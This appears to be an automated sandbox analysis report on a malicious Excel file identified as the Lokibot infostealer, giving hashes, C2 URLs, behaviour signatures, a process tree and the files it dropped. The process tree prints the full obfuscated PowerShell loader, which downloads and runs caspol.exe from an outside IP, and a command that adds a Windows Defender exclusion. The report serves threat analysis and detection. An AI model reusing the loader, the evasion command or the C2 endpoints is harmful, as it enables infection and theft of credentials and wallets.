Analysis

  • max time kernel
    136s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-11-2024 04:33

General

  • Target

    555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls

  • Size

    1.1MB

  • MD5

    f69d18b27ddddb4274a97434c6a01ae2

  • SHA1

    79a2cf394e8fe22341922a6490e9d58a87e2f748

  • SHA256

    555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7

  • SHA512

    32acd768dc2ec5095216e946f8cd119174ee252d4691d4816f91881a3c5439db68feffe24bc85a16dcdf9caf3d53b82fa89f35b89540148e8c862664c851a77c

  • SSDEEP

    24576:6uq9PLiijE2Z5Z2amowshXCdQtF84LJQohVsx7ACKg0q9JfCazDVNPCTy2vo:6uEPLiij7Z5ZKowsAsFjLJQohVKEg0qR

Malware Config

Extracted

Family

lokibot

C2

http://94.156.177.95/maxzi/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Lokibot family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2568
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
      "C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2600
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1236
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eph8dhdh.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEE4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCEE3.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:868
      • C:\Users\Admin\AppData\Roaming\caspol.exe
        "C:\Users\Admin\AppData\Roaming\caspol.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:944
        • C:\Users\Admin\AppData\Roaming\caspol.exe
          "C:\Users\Admin\AppData\Roaming\caspol.exe"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

    Filesize

    717B

    MD5

    822467b728b7a66b081c91795373789a

    SHA1

    d8f2f02e1eef62485a9feffd59ce837511749865

    SHA256

    af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

    SHA512

    bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

    Filesize

    344B

    MD5

    21df645ec13368af70d0fdc697fd5359

    SHA1

    5b82ae15964e432a108cdcaff6577f97a3fa282c

    SHA256

    ab8079f4c308128ed7c6149a31e451702426eb988972368078d420cb490b0ec2

    SHA512

    29c1ad99095fb83110e4aa0d34bc6229aba1d15f30aaf5971228d9a03a032dc83d5232e13923b776a67f0419e7eeb5e684cff95b10c9aa2443653779909cc1d0

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

    Filesize

    192B

    MD5

    1f15940b9f087d2aabb515853a5ab8b4

    SHA1

    05fb28b482541e3d0f6324754821a49aed845575

    SHA256

    6c2c1bb9dd1aeb84367e82571e26c9d3fa3a73d040235e3580a6e007428af8d0

    SHA512

    53afe5902aa15cb72270d239ee2f2d1af4358950cebc37071b72e9aa4f1379e3f862b9b9317b0d8302c82b2c08d560778217fc2f31e9815e970980006c2d533f

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

    Filesize

    544B

    MD5

    e8babfed1ad00eee29f323c07e3d4256

    SHA1

    18fe9eb9d9e344499a179f750bcbff20621272ad

    SHA256

    4e6072a1c969b8ce9584d0e5221ad76b93a15632d6bc718f147633c864431c2c

    SHA512

    d60513392b33ad69fd772ad979230e1d99ce42f1b7ad320f7b725ddb20be51c476630174de7966a96a8c3588513840bbeb67c545478920509aee04364a3b11da

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta

    Filesize

    8KB

    MD5

    db21eb9cf86a8314900d693c5a40c4e9

    SHA1

    1dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c

    SHA256

    da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102

    SHA512

    b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c

  • C:\Users\Admin\AppData\Local\Temp\CabC35F.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESCEE4.tmp

    Filesize

    1KB

    MD5

    2a966a426129242f00144c301a9b0b09

    SHA1

    4c2060046640d26ca73ea8eef0cd998932c49079

    SHA256

    454b8b60373a8024411465fc9bf68901572b7ab876570cf3a3d6329fbedbedba

    SHA512

    7bff20ffaba4d9b7ab53c8920aa62342a45ad9638b6344b927e915e80a4a450c00f85e9e880f7f90d565225b6dd72f93a46192e0197adbbd6593cb37f568bfff

  • C:\Users\Admin\AppData\Local\Temp\eph8dhdh.dll

    Filesize

    3KB

    MD5

    72f7bc5fd119ea7d3a385509f2753480

    SHA1

    4302dde08b71b221520f393f5f44803d20575464

    SHA256

    43705e03d01d68f0a78b97711a821ee7d24db700f459d391d0df06354d7db6dd

    SHA512

    8d2ba35871300bab3a47f141cf97cb5d5e3404856047665b364756bc71aa2e4cf9b53893127cacc1e431e414a6d2576336a5f9a857b1f3845adb4a5ea1156b25

  • C:\Users\Admin\AppData\Local\Temp\eph8dhdh.pdb

    Filesize

    7KB

    MD5

    db81397ad7cee67033572b98a3433845

    SHA1

    70dc33042f9b9d96ed958b261db74d153ac70fe9

    SHA256

    104dfd45f0ef89cd56e88d76ba4784368cf973bf8a55cfaaad9e072034b82e40

    SHA512

    b5f481a5ee44411672617fbaa015fddc183b71e12b90af513de36a0524e87469f7d37936cabcd24fe6cd17c7dc7420f23df6b4858157f56e3dcf4a9d9d3f1eb3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    a51f266de3e57eb19a604c9ae6fe35b7

    SHA1

    2afbb9b2f7ff5619ac203fc294694439ccae398a

    SHA256

    f86a27c6ade616a42c16e43d561dae20d034d7cbab89ee6ec711aa6bd9c985ee

    SHA512

    5703261bcb9cfdc045b296574d33b6864b418784384edff7eb55fcbe25c15d31486c65d0d1bd77c6b275508f0b5c331e78d10bc7f587c7f96e3c180d9de02a27

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCCEE3.tmp

    Filesize

    652B

    MD5

    411f8e80d86c2aa5d898f42fce34104e

    SHA1

    e442bf319b0df262466640b612962f5e59b4c6ec

    SHA256

    9a5234755b54234b8ae04c1bd745d7f5a0b8faf0978b8f0fb0aa4d0778886c75

    SHA512

    bd18fc0281050f6491a88a7b97a598feb4bbe64d45c015ad271592f91798a710c86c743c508cf6b5d74b3ebb1bfec730cb877d6332bb1bba1d2db84745a163ed

  • \??\c:\Users\Admin\AppData\Local\Temp\eph8dhdh.0.cs

    Filesize

    477B

    MD5

    f97fc8141f59078b4354b513d3b083ac

    SHA1

    293904ab8d5f38a2f0764ee2e35e97e590d8c737

    SHA256

    f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e

    SHA512

    87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c

  • \??\c:\Users\Admin\AppData\Local\Temp\eph8dhdh.cmdline

    Filesize

    309B

    MD5

    929190f1b1390e480fcf57dfb7d42a1d

    SHA1

    ed5c065e5a6edb03956ce849e0f09226e9f564d2

    SHA256

    d38f5e504a9dd20f527502a879de84e66ed57976651c4b7b6478db14730cf0a5

    SHA512

    b74ba05acbf7f1fb5065729a2e57a096231fa2814e3b62dd6f3e268148025f3d4af7220511cb7dd5d56a19a6c5addd0cc9dc728abbd6788095b1c9f56f0bef90

  • \Users\Admin\AppData\Roaming\caspol.exe

    Filesize

    570KB

    MD5

    80358303e33cef71434e6e4a621262c5

    SHA1

    e7a22b4e5af741f9b4d9982f36164b276bba459a

    SHA256

    f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7

    SHA512

    5e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e

  • memory/1532-73-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1532-75-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1532-81-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1532-86-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1532-84-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1532-83-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/1532-79-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/1532-77-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2568-60-0x0000000072B0D000-0x0000000072B18000-memory.dmp

    Filesize

    44KB

  • memory/2568-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2568-1-0x0000000072B0D000-0x0000000072B18000-memory.dmp

    Filesize

    44KB

  • memory/2568-17-0x0000000002F50000-0x0000000002F52000-memory.dmp

    Filesize

    8KB

  • memory/2880-16-0x0000000002980000-0x0000000002982000-memory.dmp

    Filesize

    8KB

  • memory/2972-72-0x0000000005920000-0x0000000005984000-memory.dmp

    Filesize

    400KB

  • memory/2972-71-0x0000000000510000-0x0000000000522000-memory.dmp

    Filesize

    72KB

  • memory/2972-70-0x00000000011A0000-0x0000000001234000-memory.dmp

    Filesize

    592KB